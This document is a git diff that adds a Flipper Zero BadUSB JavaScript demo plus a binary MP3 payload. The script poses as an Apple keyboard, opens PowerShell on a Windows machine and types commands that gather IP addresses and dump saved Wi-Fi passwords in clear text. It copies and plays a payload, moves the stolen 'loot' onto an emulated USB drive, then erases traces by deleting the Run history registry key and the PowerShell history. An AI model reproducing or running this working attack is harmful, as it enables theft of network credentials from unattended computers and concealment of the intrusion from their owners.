diff --git a/js/badusb/badusbdemo.js b/js/badusb/badusbdemo.js
new file mode 100644
index 0000000..f4e13cd
--- /dev/null
+++ b/js/badusb/badusbdemo.js
@@ -0,0 +1,189 @@
+// JavaScript demo of running Windows powershell scripts.  This
+// demo is based on lots of the previous scripts that were shared
+// in the Momentum Discord channel.
+
+// Improvements are:
+// - Populating the USB drive with payloads.
+// - PowerShell polling for the USB drive to be attached.
+// - altPrint function to handle special characters (non-US keyboard).
+// - PowerShell ejects the USB drive when done.
+
+let badusb = require("badusb");
+let usbdisk = require("usbdisk");
+let storage = require("storage");
+let textbox = require("textbox");
+
+// See /ext/badusb/assets/layouts/ for list of supported keyboard layouts.
+let layout = "en-US";
+
+// Local file to store system information.
+let localTempFolder = "flipper";
+let localFileName = "info.txt";
+
+// Update this script to include the commands you want to run.
+let script = [
+  "Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPAddress,SuffixOrigin | where IPAddress -notmatch '(127.0.0.1|169.254.\d+.\d+)' >> " + localFileName + ";",
+  "(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)}  | Select-String 'Key Content\\W+\\:([A-Za-z ]+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{PROFILE_NAME=$name;PASSWORD=$pass}} | Format-Table -AutoSize >> " + localFileName + ";",
+  // "dir env: >> " + localFileName + ";",
+];
+
+// Payload to copy from the SD card to the USB drive.
+let copyPayload = true;
+let playPayload = true;
+let payloadName = "demo.mp3";
+let payloadSrcName = __dirpath + "/payloads/" + payloadName;
+let payloadDstName = "/mnt/" + payloadName;
+
+// All the loot will be stored in this file.
+let lootFile = __dirpath + "/loot.txt";
+
+// Image to store payloads and results.
+let exfilCapacityMb = 4; // Reserve space for our image (payloads and results).
+let image = __dirpath + "/Demo_" + to_string(exfilCapacityMb) + "MB.img";
+let flipperStorageName = "Flipper Mass Storage";
+
+// Folder and file to store the results on SD card.
+let resultFolder = "results";
+let resultFileName = "info.txt";
+
+print("Checking for Image...");
+if (storage.exists(image)) {
+  storage.remove(image);
+}
+print("Creating Storage...");
+usbdisk.createImage(image, exfilCapacityMb * 1024 * 1024);
+
+if (copyPayload) {
+  print("Copying Payload...")
+  storage.virtualInit(image);
+  storage.virtualMount();
+  storage.copy(payloadSrcName, payloadDstName);
+  storage.virtualQuit();
+}
+
+badusb.setup({
+  vid: 0x1234,
+  pid: 0x5678,
+  mfr_name: "Apple",
+  prod_name: "Keyboard",
+  layout_path: "/ext/badusb/assets/layouts/" + layout + ".kl"
+});
+print("Waiting for connection");
+while (!badusb.isConnected()) {
+  delay(1000);
+}
+
+// Launch powershell
+print("Launching powershell");
+delay(3000);
+badusb.press("GUI", "x");
+delay(500);
+badusb.press("i");
+delay(3000);
+
+print("Running commands");
+badusb.print(" md " + localTempFolder + "; cd " + localTempFolder + "; ");
+for (let i = 0; i < script.length; i++) {
+  badusb.print(script[i]);
+}
+badusb.press("ENTER");
+badusb.press("ENTER");
+
+// Wait for attached drive, assign to $DriveLetter
+badusb.print(" $FlipperStorage = '" + flipperStorageName + "';");
+badusb.print(" do {");
+badusb.print(" Start-Sleep 1;");
+badusb.print(" $Disks = Get-Disk;");
+badusb.print(" $DiskNames = $Disks | Select-Object -Property Number,FriendlyName;");
+badusb.print(" $DiskNumber = $DiskNames | Where-Object -FilterScript { ($_.FriendlyName) -eq $FlipperStorage} | Select-Object -ExpandProperty Number;");
+badusb.print(" } while ($DiskNumber -lt 0);")
+badusb.print(" $DriveLetter = Get-Partition -DiskNumber ${DiskNumber} | Select-Object -ExpandProperty DriveLetter;");
+
+// Copy file from USB drive locally.
+if (copyPayload) {
+  badusb.print(" $Payload = ${DriveLetter} + ':\\" + payloadName + "';");
+  badusb.print(" Copy-Item -Path $Payload;");
+}
+
+// Play the MP3 payload file.
+if (playPayload) {
+  badusb.print("Add-Type -AssemblyName presentationCore;");
+  badusb.print(" $mediaPlayer = New-Object system.windows.media.mediaplayer;");
+  badusb.print(" $song = Get-Location | Select-Object -ExpandProperty Path;");
+  badusb.print(" $song = $song+'\\" + payloadName + "';")
+  badusb.print(" $mediaPlayer.open($song);");
+  badusb.print(" $mediaPlayer.Play();");
+}
+
+// Move file onto SD card
+if (script.length > 0) {
+  badusb.print(" $LocalFile = '" + localFileName + "';");
+  badusb.print(" New-Item -ItemType Directory -Force -Path ${DriveLetter}:\\" + resultFolder + "\\;");
+  badusb.print(" Move-Item -Path $LocalFile -Destination ${DriveLetter}:\\" + resultFolder + "\\" + resultFileName + ";");
+  badusb.print(" Start-Sleep 1;");
+}
+
+// Eject drive
+badusb.print(" $eject = New-Object -comObject Shell.Application;");
+badusb.print(" $eject.Namespace(17).ParseName($DriveLetter+':').InvokeVerb('Eject');");
+
+// Hide tracks
+badusb.print(" cd ..;");
+badusb.print(" Remove-Item " + localTempFolder + " -Force -Recurse;");
+badusb.print(" reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f;");
+badusb.print(" Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue;");
+badusb.press("ENTER");
+delay(500);
+
+// Close window & detach keyboard
+badusb.press("ENTER");
+badusb.print(" Start-Sleep 10; exit");
+badusb.press("ENTER");
+badusb.quit();
+
+// Wait for badusb to finish typing.
+print("Waiting for typing to finish...");
+delay(5 * 1000);
+
+// Attach storage
+print("Attaching storage...");
+usbdisk.start(image);
+
+// Wait for storage to be detached from script
+print("Waiting for storage to detatch...");
+while (!usbdisk.wasEjected()) {
+  delay(1000);
+}
+usbdisk.stop();
+
+// Done
+print("Detached disk.");
+delay(1000);
+
+// Mount and display loot
+if (script.length > 0) {
+  print("Reading loot...");
+  storage.virtualInit(image);
+  storage.virtualMount();
+  delay(1000);
+  let data = storage.read("/mnt/" + resultFolder + "/" + resultFileName);
+  textbox.setConfig("start", "text");
+  textbox.emptyText();
+  let data_view = Uint8Array(data);
+  for (let i = 0; i < data_view.length; i++) {
+    textbox.addText(chr(data_view[i]));
+  }
+  data_view = undefined;
+  textbox.addText("\n");
+  textbox.show();
+  print("Copying to loot file.");
+  storage.append(lootFile, data);
+  print("Displaying results.");
+  while (textbox.isOpen()) {
+    delay(1000);
+  }
+  textbox.emptyText();
+  storage.virtualQuit();
+}
+
+print("Done.");
\ No newline at end of file
diff --git a/js/badusb/payloads/demo.MP3 b/js/badusb/payloads/demo.MP3
new file mode 100644
index 0000000..c10a44c
Binary files /dev/null and b/js/badusb/payloads/demo.MP3 differ